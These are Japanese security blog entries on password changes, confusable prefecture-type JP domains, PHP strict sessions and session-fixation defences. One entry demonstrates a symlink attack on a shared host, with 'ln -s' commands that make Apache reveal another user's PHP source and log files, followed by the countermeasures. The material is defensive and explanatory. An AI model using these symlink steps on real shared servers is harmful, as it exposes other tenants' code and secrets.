  • 2段階認証、リスクベース認証、ログイン履歴確認画面などのセキュリティ施策がない
  • 情報漏洩があっても、サイトからアナウンスされない可能性がある or フィッシング被害にあう心配がある

高橋: フィッシングは利用者の責任ですが、他は残念な感じがしますね。しかし、このようなサイトを使う場合は、パスワードの定期的変更で安全性が高まるのですか?

徳丸: いや、攻撃を受けると、過去のデータは全て漏洩した上で、次のパスワード変更までは情報が漏洩し続けます。

高橋: 次回の「定期的変更」で漏洩が止まる、と。

徳丸: いや、それも確実なものではありません。

高橋: あっ、そうなですか?

徳丸: はい。情報が漏洩してもサイトからアナウンスがないということは、サイト側も気づかない「完全犯罪」の可能性が高いわけです。この場合は、攻撃者が再度攻撃すると、パスワードを変更していても防御できません。

高橋: なんか、残念な上に、パスワードを変更しても、攻撃を断ち切れる訳ではないのですか…

徳丸: それが現実です。フィッシングの方はパスワードの変更で情報流出が確実に止まりますが、フィッシング対策という点では、2段階認証なら事後対策だけでなく、侵入も止められるわけですから、2段階認証が使えるならぜひ使うべきです。

高橋: わかりました。ところで、今まで、住所、氏名、メールアドレス、電話番号などの個人情報の話が出てこなかったと思いますが、これらはどうですか?

徳丸: 個人情報は侵入された時点で漏洩しているはずですので、諦めてください。パスワードの定期的変更による被害緩和は、新しい情報までもが漏洩し続けないようにする話です。

高橋: つらいですね(>_<) では、最後に、利用者のとるべきセキュリティ施策についてまとめていただけますか?

徳丸: はい、これも箇条書きにしましょう。

  • パスワードはできれば12文字以上で、できるだけ長く設定する
  • パスワードは他のサイトとは別のものに設定する(パスワードリスト攻撃対策)
  • 秘密情報を扱うサービスは、少数に絞り、以下のセキュリティ施策のあるサイトを可能な限り選択する
    • 2段階認証に対応している(強く推奨)
    • リスクベース認証、ログイン履歴の確認画面(推奨)
    • 長いパスワードを設定できること(12文字以上推奨、長いほど安全)
  • 秘密情報を扱うサービスは、定期的にログイン履歴を確認する
  • サイトやWebニュースなどで、サイトのパスワード変更の案内が来た場合は、すみやかにパスワードを変更する
  • マルウェア対策として以下を実施する
    • 端末のOSやソフトウェアを常に最新の状態に保つ
    • ウイルス対策ソフトを導入してパターンファイルを最新に保つ
    • ブラウザのプラグインやアドオンは最低現に絞り最新に保つ

高橋: ありがとうございました。これで、パスワードの定期的変更に関する徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう~


※注: ここに登場する人物はすべて架空の人物です。文責は徳丸浩にあります。

MACHIDA.KANAGAWA.JPはなぜ「まぎらわしい」のか

$
0
0
私は検証用にいくつかのドメイン名を登録していますが、そのうちの一つが「発掘」され、世間をお騒がせすることになってしまいました。

このページのページビューは、8月16日(金) 9:00現在で、31438となっています。ずいぶんよく参照されています。ちなみに、「本物の」町田市のホームページは下記の通りです。


しかし、上記のような主張はいままでにもあったし、今更二番煎じのこのネタが、上記のような簡素な内容で話題になる理由としては、やはり MACHIDA.KANAGAWA.JPというドメイン名にあるのでしょう。これは「都道府県型JPドメイン名」というもので、「日本国内に住所を持つ個人・組織であれば、いくつでも登録ができます」(こちらより引用)。

では、どうして紛らわしいドメイン名が登録できるかという理由を説明します。
都道府県型JPドメイン名ができる前に地域型JPドメイン名というものがあり、多くの地方公共団体が利用しています。以下は、地域型JPドメイン名のうち、「地方公共団体ドメイン名」の説明です。JPDirectの説明ページから引用しました。


上記のように、政令指定都市をのぞく「市」のドメイン名は以下のルールに従います。


地域型JPドメイン名のルールは複雑なので、「地域型ドメイン名は廃止してはどうか」という指摘もあったものの、市のホームページに限っていえば、上記のルールに従ったドメイン名は「市」のものであることが確実でありました。
世の中には偽サイトというものがあり、フィッシングや偽情報の流布に使われます。ドメイン名を暗記していないサイトの場合、サイトの内容やデザインを見ただけでは区別がつかないので、ドメイン名の形式から簡単に地方公共団体のものであることが判別できると安心です。たとえば、日本の政府機関のドメイン名は「.go.jp」で終わるドメイン名となっている(例外もある)ので、簡単に判別できます。

地域型JPドメイン名は、個人や一般の団体でも取得できましたが、第4レベルが選べるもので、「市」のドメイン名とは簡単に区別がつきました。
  • TOKUMARU.BUNKYO.TOKYO.JP (私のドメイン名)
  • MITA.MINATO.TOKYO.JP (三田典玄氏のドメイン名)
※ 三田典玄氏のドメイン名は、港区三田という地名が実際にあるのでややこしいですが、大きな誤解は生じないでしょう。このドメイン名もシャレなんでしょうね。

さて、地域型JPドメイン名は、とにかく長いという欠点があり、あまり活用されていなかったようです。このため、2012年3月31日で新規登録が終了し、2012年11月から都道府県型JPドメイン名というものが使えるようになりました。その形式は下記となります(都道府県型.jpより引用)。


上図のように、「〈都道府県名〉.JP」の部分が旧の地域型JPドメイン名と重なっているため、地域型JPドメイン名の部分は予約され、都道府県型JPドメイン名としては登録できないようになっています。予約名の一覧はこちらから参照できます。
このように、ドメイン名を見ただけでは、地域型JPドメイン名なのか都道県型JPドメイン名なのか区別がつかなくなってしまいました(地域型JPドメイン名をすべて暗記していない限り)。このため、以下のようにややこしいことが起こります。
  • CITY.MACHIDA.TOKYO.JP : 町田市の本物のドメイン名(地域型JPドメイン名)
  • CITY.MACHIDA.KANAGAWA.JP : 筆者のドメイン名(のサブドメイン名)(都道府県型JPドメイン名)
すなわち、都道府県型JPドメイン名が出現するまでは、下記の形式のドメイン名は「市のドメイン名」であることが確実だったのに、その保証がなくなってしまったことになります。従来地域型JPドメイン名を使っていた地方公共団体や、市民にとっては迷惑な話ですね。


では、どうすればよいかというと、地方公共団体には、LG.JPドメイン名に移行してもらうしかないでしょう。
LG.JPドメイン名創設の目的
地方公共団体では、政府がe-Japan戦略に掲げる電子政府・電子自治体の実現に向け、住民・企業がインターネットを利用していつでもどこでも申請・届出等の手続が行える仕組みづくりを進めています。
匿名性が高いインターネット上で、住民・企業の皆様が安心して行政サービスを利用できるようにするためには、まずは行政サービスの提供者が地方公共団体であることを、住民・企業の皆様に分かりやすく示す必要があります。このため、政府機関等を収容するドメイン空間「GO.JP」に対応する、厳密に地方公共団体及び地方公務員を収容した住民・企業の皆様に分かりやすい地方公共団体行政専用のドメイン空間が必要とされました。
LG.JPドメイン名の創設は、地方公共団体組織認証基盤(LGPKI)の整備などと合わせて、地方公共団体が提供する電子行政サービスの信頼性を確保し、住民・企業の皆様が安心してサービスを受けられるようにすることを目的としています。
LG.JPドメイン名について - 財団法人 地方自治情報センター(LASDEC)より引用
以下は、LG.JPドメイン名を活用している地方公共団体の例です。
LG.JPドメイン名の登録開始が2002年10月で、それから10年以上を経ていますので、そろそろ地方公共団体は地域型JPドメイン名からLG.JPドメイン名に移行してほしい・・・ということなのでしょう。

まとめ

以前から地域型JPドメイン名の一種として「地方公共団体ドメイン名」というものがあり、地方公共団体の識別ができるドメイン名として今も多数利用されていますが、都道府県型JPが登場したことで、簡単には地方公共団体のドメイン名であることが識別できなくなりました。既にLG.JPドメイン名という識別しやすいドメイン名が用意されているので、できるだけ早くLG.JPドメイン名への移行が望まれます。
住民の立場からは、地方公共団体のサイトを利用して、重要な情報を得る場合や個人情報を入力する場合は、ドメイン名がLG.JPでないサイトについては、本当に地方公共団体のサイトであるか、信頼出来る方法で確認した方がよいでしょう。
例えば、地方自治情報センター(LASDEC)のホームページには、全国自治体マップ検索というページが用意されています。LASDECのサイトはEV SSLを利用しているので、本物であることの確認が容易に行えます。

追記

地域型JPドメイン名と都道府県型JPドメイン名を簡単に区別する方法として、Firefoxを使って閲覧するというものがあります。冒頭の画面キャプチャのアドレスバーを見ていただくと、都道府県型JPドメイン名(1番目の画像)の方はmachida以下が濃くなっていますが、地域型JPドメイン名(2番目の画像)だと、city以下が濃くなっています。これで区別ができますが、一般の方が活用するのは難しいでしょうし、Google ChromeやIEではこの方法は使えません。Firefoxをお使いの方は、試してみてください。

【速報】PHP-5.5.2にて大垣さんのstrict sessionsが実装されました

$
0
0
大垣さんのツイートで、strict sessionsがPHPにマージされることを知りました。
本日、PHP-5.5.2が公開されましたので、ChangeLogを確認したところ、確かに入っているようです。
  • Sessions:
    • Implemented strict sessions RFC (https://wiki.php.net/rfc/strict_sessions) which protects against session fixation attacks and session collisions.
PHP 5 ChangeLog より引用
8年越しのstrict sessionsのマージ、まことにおめでとうございます。

さっそく、PHP-5.5.2をビルドして確認してみました。まずはデフォルトの状態(php.ini-productionを使用)。


確かに、session.use_strict_modeが追加されていますね。デフォルトはOffのようです。これは後方互換性に配慮したものでしょう。session.use_strict_modeを有効にするには、php.iniに下記を追加すればよいのでしょうね。
session.use_strict_mode = On
これを設定して再度phpinfoを実行すると、下記の画面に。


いい感じです(当たり前か)。
さっそくこの状態で試してみましょう。スクリプトとして以下を用いました。
<?php
session_start();
if (isset($_SESSION['counter'])) {
$_SESSION['counter']++;
} else {
$_SESSION['counter'] = 0;
}
echo 'phpversion: ' . htmlspecialchars(phpversion()) . '<br>';
echo 'session_id: ' . htmlspecialchars(session_id()) . '<br>';
echo 'counter : ' . htmlspecialchars($_SESSION['counter']);
これを実行すると下記の表示になります。
phpversion: 5.5.2
session_id: i0h3ej9hcs6dd40sopac9pf483
counter : 0>
セッションファイルを見ると、確かに生成されています。
$ sudo cat /tmp/sess_i0h3ej9hcs6dd40sopac9pf483
counter|i:0;$
しかし、セッションクッキーとして違うIDが返ってきています(HTTPレスポンスの抜粋)。
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=7irqs0dkccnusq9ckjcnlmkn21; path=/
Content-Length: 74
Content-Type: text/html

phpversion: 5.5.2<br>session_id: i0h3ej9hcs6dd40sopac9pf483<br>counter : 0
このため、新規にセッションを開始することができず、永遠にカウンタは 0 のままです。この状態で、PHPの下記の警告が表示されます。
PHP Warning:  session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /var/www/session.php on line 2
ちなみに、session.use_strict_mode = Off (あるいは指定しない)の場合は、セッションは正常に使用でき、カウンターはインクリメントされます。そして、有効なセッションがある状態(セッションクッキーとセッションファイル名が一致している状態)では、session.use_strict_mode = On でもセッションは有効に使用できます。

まとめ

PHP-5.5.2にて、大垣さんの提唱されてきたstrict sessionsがマージされました。私の検証した範囲では、まだ不具合があり使えないようですが、私の環境に依存する問題かもしれませんので、PHP関係者が追試されることを希望します。
このstrict sessionsにて、PHPのセッションアダプションが解消されるはずです。私は「PHPのセッションアダプションは重大な問題ではないが、ない方がよい」という認識でしたので、この改善を私は歓迎いたします。
現時点ではPHP5.3とPHP5.4にはstrict sessionsはマージされていないようですが、だから言ってこれらPHPのバージョンが脆弱だとまではいえないと考えます。

追記(2013/08/17 21:00)

その後テスト用のサンプルをいじっているうちに、セッションが空の場合session_regenerate_id(true);を実行すると、期待したとおりに動作することが分かりました。上記のサンプルだと、「} else {」 の次の行に session_regenerate_id(true); を追加すると、セッションが維持できるようになります。

追記(2013/08/21 9:00)

bugs.php.netにバグ報告したところ、大垣さん自身が速攻で修正してクローズしていただきました。大垣さん、ありがとうございました。

関連するエントリ

PHP5.5.2以降のstrict sessionsモードでセッションフィクセイション対策はどうすればよいか

$
0
0
先日のエントリ『【速報】PHP-5.5.2にて大垣さんのstrict sessionsが実装されました』にて、PHP5.5.2でセッションアダプションが解消されたことを報告しました(session.use_strict_mode=1の場合)。
セッションアダプションとは、未初期化のセッションID(たとえばPHPSESSID=ABC)をPHPが受け入れる問題のことです。strict sessionsを使用すると、PHPが生成し、現在有効であるセッションIDのみを受け入れ、そうでない場合、PHPはセッションIDを振り直します。

あいにくPHP5.5.2(PHP5.5.3も)にはバグがあり、session.use_strict_mode=1によるstrict sessionsは使用できませんが、既に大垣さん自身によりバグ修正されているので、PHP5.5.4からは使えるようになるでしょう。

strict sessionsの主な目的は、セッションフィクセイション攻撃に対する影響緩和ですが、では、strict sessionsを用いると、セッションフィクセイション対策はどのように変わるでしょうか?

従来のPHP、すなわちセッションアダプションがある状態では、セッションフィクセイション対策は下記の通りでした。
  • ログイン直後にsession_regenerate_id関数によりセッションIDを振り直す
これに対して、セッションアダプションがない状態ではどうでしょうか。先に『セッションアダプションがなくてもセッションフィクセイション攻撃は可能』で説明したとおり、攻撃者が、対象サイトのセッションIDを取得することにより、セッションフィクセイション攻撃は可能です。従って、strict sessionsの状況でも、セッションフィクセイション対策は下記の通りです。
  • ログイン直後にsession_regenerate_id関数によりセッションIDを振り直す
何も変わらないわけです。

…とここで終わりにしてもよいのですが、せっかく大垣さん8年越しのstrict sessionsが使えるようになったので、セッションIDの振り直しをしないでセッションフィクセイション対策ができないか考えてみましょう。

先に説明したように、セッションアダプションがない状況では、攻撃者は、対象サイトから有効なセッションIDを取得する必要があります。ここに着目し、「攻撃に使えるセッションIDを攻撃者に渡さない」アプローチを考えてみます。セッションアダプションがなく、セッションIDがとれない状況では、セッションフィクセイション攻撃はできません。

まず、上記がだめな状況として、ログイン状況でなくてもセッションを使っているサイトが挙げられます。この場合、サイトにアクセスさえすれば有効なセッションIDが取得できるため、セッションフィクセイション攻撃が可能になります。このため、以下では、セッションはログイン状態でのみ使用しているという前提とします。

以下、ログイン状態でのみセッションを使っているアプリケーションを想定して、セッションIDの振り直しをしないでセッションフィクセイション対策する方法を検討します。以下の処理毎に検討します。
  • ログイン前
  • ログイン処理
  • ログイン状態の確認処理
  • ログアウト処理

ログイン前

前述のように、ログイン前にセッションを有効にすると、そのセッションIDを悪用してセッションフィクセイション攻撃ができてしまいます。このため、ログイン前にはセッションは使えません。これによる副作用として、ログイン時にCSRF対策したい場合でも、それが困難になります。CSRFの標準的な対策にはセッションを利用するからです。

ログイン処理

ログイン処理の注意として以下があります。
  • ログインに失敗した場合は、セッションID悪用防止のためセッションを破棄する
  • 元々ログイン状態の場合は、ログイン処理を継続しない。攻撃者のログイン状態のセッションIDによる攻撃を防ぐため
これを実現する擬似コード例を下記に示します。
session_start();
if (ログイン済みの状態) {
echo "ログイン済みです";
// マイページなど、遷移可能なページへのリンクを表示
// あるいは、異常事態としてセッション破棄するという考え方もあり
} else if (idとパスワードが有効) {
// ログイン処理
$_SESSION['user'] = $id;
// その他の処理
} else {
echo "IDまたはパスワードが違います";
// 認証失敗の場合はセッションを破棄
session_destroy();
}
重要なポイントとしては、(1)ログイン済みなのに他のユーザでログインすることを許さない、(2)認証に失敗した場合は必ずセッションを破棄する、ということがあげられます。
また、懸念点として、ログイン処理中にアプリケーションが異常終了すると、session_destroyが呼び出されず、有効なセッションが残ってしまう可能性があります。対策は、セッションを有効にする区間をできるだけ短くすることですが、詳しい説明を割愛します。

ログイン状態の確認処理

ログイン前の攻撃者がセッションIDを取得する方法として、攻撃者が、認証の必要なページにアクセスするというものがあります。
典型的なログイン確認は以下の通りです。
session_start();
if (! isset($_SESSION['user'])) {
echo 'ログインしてください';
// ログインページへのリンクを表示
exit;
}
これだと、セッションIDは生成され、セッションは有効なままなので、攻撃者は有効なセッションIDを取得できます。これを防ぐには、exitする前にセッションを破棄します。
session_destroy();
これにより、セッションは有効でなくなるため、セッションフィクセイション攻撃に使えるセッションIDは取得できなくなります。この処理は、ログイン状態を確認するページ全てで、もれなく実装する必要があります。

ログアウト処理

ログアウト処理において重要なポイントは、かならずセッションを破棄するということです。そうしないと、ログアウト後に残ったセッションのセッションIDを用いて、セッションフィクセイション攻撃ができてしまいます。
具体的には、下記のようなログアウト処理はだめだと言うことです。
$_SESSION['user'] = false; // 認証ユーザをfalseにすることでログアウトとする

アプリ側のセッションタイムアウトに対する注意

アプリケーション仕様によっては、PHPのセッションは有効だが、アプリ側で定めたセッションタイムアウトになっているという状況が考えられます。この場合、「ログアウト状態だがセッションIDは有効」という状態になり、セッションフィクセイション攻撃に使えるセッションIDができてしまいます。
この対策としては、下記が考えられます。
  • ログイン状態の確認処理の中で、タイムアウトしたセッションを破棄する
  • ログイン処理においては、タイムアウトしたセッションは、いったん破棄して、再度セッションを開始する。
ログイン状態の確認…については、前述の処理でカバーされているとも考えられますが、ログイン処理の方は特に注意が必要です。

一方、PHP処理系側でタイムアウトしたセッションは、既に破棄されているため、アプリケーション側で特に注意することはありません。

まとめ

strict sessionsにおいても、セッションフィクセイション攻撃対策として、認証成功直後のsession_regenerate_idは必須ですが、敢えてこれをしないで、セッションフィクセイション攻撃対策する方法を検討し、以下が必要であることを示しました。
  • ログイン前にはセッションを使用しない
  • ログインに失敗した場合は、セッションを破棄する
  • 元々ログイン状態の場合は、ログイン処理を継続しない
  • ログイン状態の確認において、ログイン状態でない場合はセッションを破棄する
  • ログアウト処理ではセッションを破棄する
  • ログイン状態の確認処理の中で、タイムアウトしたセッションを破棄する
  • ログイン処理においては、タイムアウトしたセッションは、いったん破棄して、再度セッションを開始する
ご覧のように、strict sessionsによってセッションフィクセイション脆弱性を気にしないですむどころか、至る所でセッションフィクセイション脆弱性に配慮しなければならないことがわかりました。上記の1カ所でも漏れると、セッションフィクセイション脆弱性の可能性が生じます。

したがって、strict sessionsにおいても、下記を推奨します。これだと、セッションフィクセイション対策は、ログイン処理1カ所に集約できます。
  • ログイン直後にsession_regenerate_id関数によりセッションIDを振り直す
ということで、strict sessionsにおいても、アプリケーションの書き方は変わらない、というのが結論です。

ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策

$
0
0
既に報道されているように、ロリポップ!レンタルサーバーに対する改ざん攻撃により、被害を受けたユーザー数は8428件にのぼるということです。ここまで影響が大きくなった原因は、報道によると、(1)「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされた、(2)パーミッション設定の不備を悪用されて被害が拡大した、ということのようです。
29日夜の時点では、攻撃者の改ざん手法について「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされて「wp-config.phpの」の設定情報が抜き出されたと説明していたが、30日午後7時過ぎの説明で、この脆弱性が侵入経路となって同社のパーミッション設定の不備を悪用されたことが原因だったことを明らかにした。
「ロリポップ」のWordPressサイト改ざん被害、原因はパーミッション設定不備より引用
これ以上の詳細は本校執筆時点で公表されていないので憶測は控えますが、ロリポップからのリリースに以下の内容があることが気になるところです。
サーバーの設定を変更しFollowSymLinksを無効にしました。
当社サービス「ロリポップ!レンタルサーバー」ユーザーサイトへの第三者による大規模攻撃についてより引用
これは、httpd.confにて元々FollowSymLinksが有効になっていたか、レンタルサーバーの利用者が.htaccessによりFollowSymLinksを有効にできる状態であったという意味でしょう。この状況では、レンタルサーバーの悪意の利用者(サーバーへの侵入者を含む)が、同じサーバーを共有する別の利用者の秘密情報をシンボリックリンク攻撃により盗み読みすることができます。以下、シンボリックリンク攻撃の原理と脅威、対策について説明します。

デモ環境の説明

以下は、ロリポップに似せた設定の架空のレンタルサーバーのホームディレクトリ設定です。ユーザはsuzukiとtanakaで、それぞれsuzuki.example.jpとtanaka.example.jpがホスト名です。以下は、suzuki.example.jpの表示です。


ホームディレクトリの設定は下記となります。
$ ls -l
drwx-----x 3 suzuki LolipopUser 4096 Aug 31 17:26 suzuki/
drwx-----x 3 tanaka LolipopUser 4096 Aug 31 17:39 tanaka/
$
各利用者のホームディレクトリのパーミッションが701となっていて、同じグループ(LolipopUser)に属していますが、これはレンタルサーバー特有の設定です。これは、レンタルサーバーの利用者同士は同じグループに属するため、他のユーザのファイルにアクセスできず、apache等のサービスは、LolipopUserグループに属さないユーザの権限で動くため、各ユーザのファイルにアクセスできるという設定になっています。

レンタルサーバーの利用者間では、ファイルは閲覧できない

ここで、tanakaさんが、suzukiさんのファイルを閲覧できないことを示します。
$ su - tanaka
Password: ←パスワードを入力
tanaka$ pwd
/home/tanaka
tanaka$ ls -l
total 8
-rw-r--r-- 1 tanaka LolipopUser 465 Sep 1 23:45 log.txt
drwxr-xr-x 2 tanaka LolipopUser 4096 Sep 1 23:39 www
tanaka$ ls -l ../suzuki/
ls: cannot open directory ../suzuki/: Permission denied ← 別ユーザのディレクトリは参照できない
tanaka$ cat ../suzuki/www/index.html
cat: ../suzuki/www/index.html: Permission denied ← 別ユーザのコンテンツも同様
tanaka$

閲覧権限がないファイルにシンボリックリンクを設定できる

ところが、tanakaさんは、suzukiさんのファイルに対してシンボリックリンクを設定することは可能です。
tanaka$ cd www
tanaka$ ln -s ../../suzuki/www/index.html suzuki.html
tanaka$ cat suzuki.html
cat: suzuki.html: Permission denied ← シンボリックリンクは作れるが参照はできない
tanaka$
上記のように、シンボリックリンクは、権限のないファイルに対して設定することができます(存在しないファイルにも可)。上記のように、このシンボリックリンクを指定してもファイルを閲覧することはできませんが、apacheによる表示は可能です。apacheは、シンボリックリンク自体とリンク先の両方にアクセス権があるからです。


ただ、これだと、元々公開している情報を別のホストで表示しているだけなので、攻撃としての価値はあまりありません。問題は、この方法で以下が可能になる場合があることです。
  • CGIプログラムやPHPスクリプトのソースが閲覧できる
  • 非公開ディレクトリのファイルが閲覧できる場合がある

閲覧できない情報をシンボリックリンク攻撃により表示する

以下、これを試してみましょう。suzukiさんのホームページ上にメールフォームがあり、そのファイル名が inquiry.php であることが分かっているとします。以下のように、これに対して inquiry.txt というシンボリックリンクを設定します。
tanaka$ ln -s ../../suzuki/www/inquiry.php inquiry.txt
これを閲覧すると、下記となります。


拡張子を.txt に変更したことで、PHPスクリプトのソースが見えてしまっています。
実は、拡張子が.php のままだと、レンタルサーバー環境の場合、PHPスクリプトは実行できないと考えられます。レンタルサーバーの場合は、CGIプログラムやPHPスクリプトは、suEXECにより、各ユーザの権限で動作します。上記のシンボリックリンクの場合、tanakaの権限により、suzukiのスクリプトを実行しようとしますが、今まで見たように、tanakaの権限ではスクリプトファイルの読み込みができないからです。しかし、apacheの実行ユーザだと読み込み権限があるため、ソースの閲覧は可能です。
さて、上図のソースから、ログファイルが ../log.txt だと分かります。このファイルにもシンボリックリンクを設定して、閲覧できるか調べてみましょう。
tanaka$ ln -s ../../suzuki/log.txt log.txt
閲覧画面は下記となります。


上記のように、通常は閲覧できないディレクトリ上の、攻撃者に読み込み権限のないデータファイルも、シンボリックリンクを設定することで、外部から閲覧できることが分かりました。この際のlog.txtのパーミッションは下記となっています。
tanaka$ su - suzuki
Password:
suzuki$ ls -l log.txt
-rw-r--r-- 1 suzuki LolipopUser 465 Sep 1 23:45 log.txt
suzuki$
すべてのユーザーに対して読み込み権限が与えられています。これは、PHPスクリプトのfopenで作成したファイルに与えられるパーミッションですが、仮にアプリケーションの実行に最低限の権限(600)が設定されていたら、apacheから読み込むことができず、このファイルに対するシンボリックリンク攻撃は成立しません。

シンボリックリンク攻撃が成立する条件

冒頭に書いたように、シンボリックリンク攻撃が成立する条件は下記の両方が成立する場合です。
  • FollowSymLinksが有効になっているか、攻撃者が.htaccessによりFollowSymLinksを有効にできる
  • 攻撃者が、公開ディレクトリにシンボリックリンクを設定できる
通常のWebサーバーでFollowSymLinksが問題にならないのは、後者の条件が成立しないからです。一方、レンタルサーバーの場合は、以下のいずれかにより、攻撃者が公開ディレクトリにシンボリックリンクを設定可能です。
  • 攻撃者がレンタルサーバーのユーザとなる(お試し等でも可)
  • 攻撃者がレンタルサーバーのユーザtanakaを攻撃して、tanakaの書き込み権限を得る
通常のWebサーバーでも、攻撃者が書き込み権限を得ることはあり得ますが、他のユーザの権限を得る動機があまりないところが、レンタルサーバー環境との違いです。

シンボリックリンクを作成する時点で、相手側のディレクトリ一覧は参照できない場合が多いのですが、以下の手順でファイル名が推定可能です。
  • 外部公開のURLからファイル名を推定する
  • スクリプトのソースファイルからファイル名を得る
  • WordPress等の標準的なファイル構成からファイル名を得る

シンボリックリンク攻撃の脅威

一般的には、シンボリックリンク攻撃が成立すると、攻撃者の有する権限よりも高い権限を獲得することができます。上記の例では、攻撃者が持っているtanakaの権限に加えて、apacheの権限により、権限を持たないファイルも閲覧可能になります。
おおざっぱに言って、シンボリックリンク攻撃の影響は、ディレクトリトラバーサル攻撃の影響と似ています。

対策

一般に、シンボリックリンク攻撃が問題になる場合は、ファイルのオープン時にシンボリックリンクかどうかを確認して、シンボリックリンクの場合はエラーにします(参考)。apacheの場合は、FollowSymLinksを無効にすることで、これが実現できます。
しかし、これだけではだめです。攻撃者が.htaccessの設定で、FollowSymLinksを設定する可能性があるからです。このため、AllowOverride ディレクティブにて、Noneを指定するか、Options=にて、許可したいオプション(FollowSymLinks以外)を明示的に列挙する方法があります。
利用者側でシンボリックリンクを安全に設定したい場合は、SymLinksIfOwnerMatchを利用できます。これは、「シンボリック先のファイルまたはディレクトリが、 シンボリックリンクの所有ユーザ ID と同じ場合にのみシンボリックリンクを たどれるようにします。」というものです(参照)。
レンタルサーバーの利用者が上記を確認する方法についてはここでは説明しませんので、レンタルサーバー事業者に個別に確認いただくのがよいと考えます。レンタルサーバー事業者は、今回の事件を受けて、自社の設定状況と安全性を説明いただく(あるいは急いで設定を修正する)とよいでしょう。

まとめ

シンボリックリンク攻撃の脅威と対策について説明しました。これは、シンボリックリンクを悪用して、上位権限のプロセスにファイルをアクセスさせる手法です。前述のように、レンタルサーバー環境で、apacheのFollowSymLinksが有効な場合、シンボリックリンク攻撃が成立してしまいますが、これはレンタルサーバー利用者の中に悪意のユーザが存在する可能性があるからです。
似たような状況として、Androidアプリケーションがあります。Androidアプリケーションは、アプリケーション毎にLinuxのアカウントが割り当てられるので、悪意のアプリケーション(マルウェア)が端末に導入された場合、root権限で動作するプロセスに対してシンボリック攻撃を仕掛け、マルウェアがroot権限を奪取するような攻撃に使われます。

追記(2013/09/03 10:00)

さとうふみやすさんから、apacheの-FollowSymLinksでは、レースコンディションによりシンボリックリンク攻撃の防御が回避されてしまうという指摘をいただきました(参照: Apache HTTPD: `Options -FollowSymLinks` は不完全)。さとうさん、ありがとうございます。
これは、TOCTOU 競合状態という問題で、参考文献として紹介したJPCERT/CCのドキュメントでも言及されています。また、TOCTOU競合を避ける方法についても、同じJPCERT/CCの解説に、「POS35-C. シンボリックリンクの有無のチェック時の競合状態を避ける」として紹介されています。ただ、これはapache(などのhttpd)を開発する側でとれる対策で、apacheの利用者としては、apache側で対策してくれるのを待つしかありません。
さとうさんは、『この攻撃の根本的な対策方法は「シンボリックリンクを作らせない」 しかない』としていますが、これもなかなか難しいと思います。現在のレンタルサーバーの多くは、シンボリックリンク攻撃のTOCTOU競合については受容している(あきらめている)のだと理解しています。
利用者側でとれる対策としては、CGIやPHPのスクリプトや、これらからアクセスするファイルのパーミッションを600や400として、apacheから読み取らせないようにすることです。ただし、.htaccessや.htpasswdはapacheから読めないとまずいので、この方法では保護できません。
ということで、この問題が受容できない利用者は、さとうさんの言及されている「ユーザーごとに別権限の Web サーバーを立ち上げる」サービスを提供しているレンタルサーバーやVPSなどに移行するしかないと考えます。
(追記終わり)

参考文献

PHPカンファレンス2013でトークします

$
0
0
PHPカンファレンス2013にてトークしますのでご案内します。
  • 日時:2013年9月14日(土曜日) 10時00分~(徳丸の出番は12:00~12:45)
  • 場所:大田区産業プラザ(PiO)
  • 費用:無料(申し込みはこちら
  • 講演タイトル:安全なPHPアプリケーションの作り方2013
PHPカンファレンスでは2009年以降毎年トークさせていただいております。今年は、上記タイトルにて以下のテーマを取り上げます。
  • パスワードの守り方
  • セッションフィクセイション結局どうする
  • PHPのライフサイクルにどうつきあう?
  • HTML5セキュリティ入門
上の2つはPHPの最新版PHP5.5に関する話題です。また、PHPのリリースサイクルが短いということから、ライフサイクルについても(少し)お話しします。

HTML5のセキュリティについては少しずつ情報が出てきましたが、難しい、抽象的、結局なにが問題か分からない、という感想が多いのではないでしょうか。
そのため、架空の脆弱なレジストラ(ドメイン名屋さん)「おネーム.COM」に登場いただき、「HTML5で起こる実際の悪いこと」を見ていただこうと思います。
現在デモを準備中ですが、以下を予定しています。
  1. XHR Level2によるCSRFにてパスワード変更
  2. JSONハイジャックによる個人情報漏えい
  3. 広告モジュールのDOM Based XSS(単独では影響なし)
  4. ドメイン名販売ページでの潜在的なDOM Based XSS(単独では影響なし)
  5. 3と4の合わせ技で大変なことに…
関連技術としては下記があります。
  • XMLHttpRequest Level2 
  • localStorage
  • postMessage
  • クロスサイト・リクエストフォージェリ(CSRF)
  • DOM Based XSS

それでは、PiOでお会いしましょう。

PHP5.5.4にてstrict sessionsのバグ(bug65475)が修正されたがテストがないことに気づいた

$
0
0
以前のエントリで、PHP5.5.2にて大垣さん提案のstrict sessionsがマージされたと報告しましたが、PHP5.5.4にて、このバグ(bug65475)が修正されました。バグの例として紹介したアクセスカウンタも、カウントアップすることを確認しました。

しかし、bug65475のテストを見て、重大な抜けがあることに気づきました。
$ cat bug65475.phpt
--TEST--
Bug #65475: Session ID is not initialized when session.usr_strict_mode=1
--INI--
session.save_handler=files
session.name=PHPSESSID
--SKIPIF--
<?php include('skipif.inc'); ?>
--FILE--
<?php
ob_start();

echo "Testing file module".PHP_EOL;
session_start();
$_SESSION['foo'] = 1234;
$_SESSION['cnt'] = 1;
$session_id = session_id();
session_write_close();

session_start();
var_dump($session_id === session_id());
$_SESSION['cnt']++;
session_write_close();

session_start();
var_dump($session_id === session_id());
var_dump($_SESSION['cnt']); // Should be int(2)
session_write_close();

--EXPECTF--
Testing file module
bool(true)
bool(true)
int(2)
このテストは、session.use_strict_mode=1 の指定がないと意味がないはずですが、見あたりません。use_strict_modeのデフォルトは 0 ですから、これだと strict sessions モードでない状態でのテストになります。
試みに、上記指定を追加して、同バグのあるPHP5.5.2およびPHP5.5.3で上記をテストしてみました。
ockeghem@php552:~/php-5.5.2/ext/session/tests$ pear run-tests bug65475.phpt
Running 1 tests
PASS Bug #65475: Session ID is not initialized when session.usr_strict_mode=1[bug65475.phpt]
TOTAL TIME: 00:00
1 PASSED TESTS
0 SKIPPED TESTS
なんと、テストをPASSしてしまいました。バグがある状態でFAILしてくれないと、テストの意味がありません。ということで、上記テストは、use_strict_mode=1の指定がないだけでなく、テストとして不完全なようです。

それでは、他のテストはどうなんだろうと思って同じディレクトリをgrepしてみましたが、use_strict_mode=1に設定したテストはないようです。
